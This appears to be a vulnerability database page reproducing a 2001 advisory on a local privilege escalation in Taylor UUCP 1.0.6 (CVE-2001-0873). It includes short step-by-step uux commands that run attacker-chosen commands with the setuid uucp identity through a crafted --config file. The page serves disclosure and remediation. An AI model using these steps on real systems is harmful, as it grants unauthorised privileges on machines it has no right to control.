Taylor UUCP 1.0.6 - Argument Handling Privilege Escalation
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| Vulnerabilities in the Debian GNU/Linux operating system that allow a local malicious individual to compromise the confidentiality, integrity, and accessibility of protected information | 28 Apr 201500:00 | – | bdu_fstec | |
| The vulnerability of the Red Hat Linux operating system allows attackers to compromise the confidentiality, integrity, and accessibility of protected information. | 28 Apr 201500:00 | – | bdu_fstec | |
| CVE-2001-0873 | 2 Apr 200305:00 | – | cve | |
| CVE-2001-0873 | 2 Apr 200305:00 | – | cvelist | |
| Debian DSA-079-2 : uucp - uucp uid/gid access | 29 Sep 200400:00 | – | nessus | |
| EUVD-2001-0856 | 7 Oct 202500:30 | – | euvd | |
| CVE-2001-0873 | 21 Dec 200105:00 | – | nvd | |
| Debian Security Advisory DSA 079-2 (uucp) | 17 Jan 200800:00 | – | openvas | |
| Debian Security Advisory DSA 079-1 (uucp) | 17 Jan 200800:00 | – | openvas | |
| Debian Security Advisory DSA 079-2 (uucp) | 17 Jan 200800:00 | – | openvas |
10
source: https://www.securityfocus.com/bid/3312/info
Taylor UUCP is an implementation of the UUCP package written originally by Ian Lance Taylor.
A problem has been discovered in Taylor UUCP that makes it possible for local users to gain elevated privileges. The problem is due to the handling of configuration files when passed to uucp via the --config flag. When uux receives a request to execute commands using a malicious --config file, the commands will be executed with the privileges of uuxqt, a setuid uucp daemon by default.
This makes it possible for a local user to gain elevated privileges, and could lead to a local user gaining administrative access.
uux 'uucp --config=/tmp/vv.v /tmp/somefile /tmp/someotherfile'
will use the supplied configuration, without dropping privileges.
1) Make a configuration file that allows any command to be executed, and allows files from anywhere to be copied to anywhere that is writable by uid/gid uucp. ( /tmp/config.uucp )
2) Make a command file with the command you want to be executed.
( /tmp/commands.uucp )
3) Do something like the following:
$ THISHOST=`uuname -l`
$ WHEREYOUWANTIT=/var/spool/uucp/${THISHOST}/X./X.${THISHOST}X1337
$ uux 'uucp --config=/tmp/config.uucp /tmp/commands.uucp '${WHEREYOUWANTIT}
The commands in /tmp/commands.uucp file will be executed by uuxqt, with the uid/gid of uucp.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01077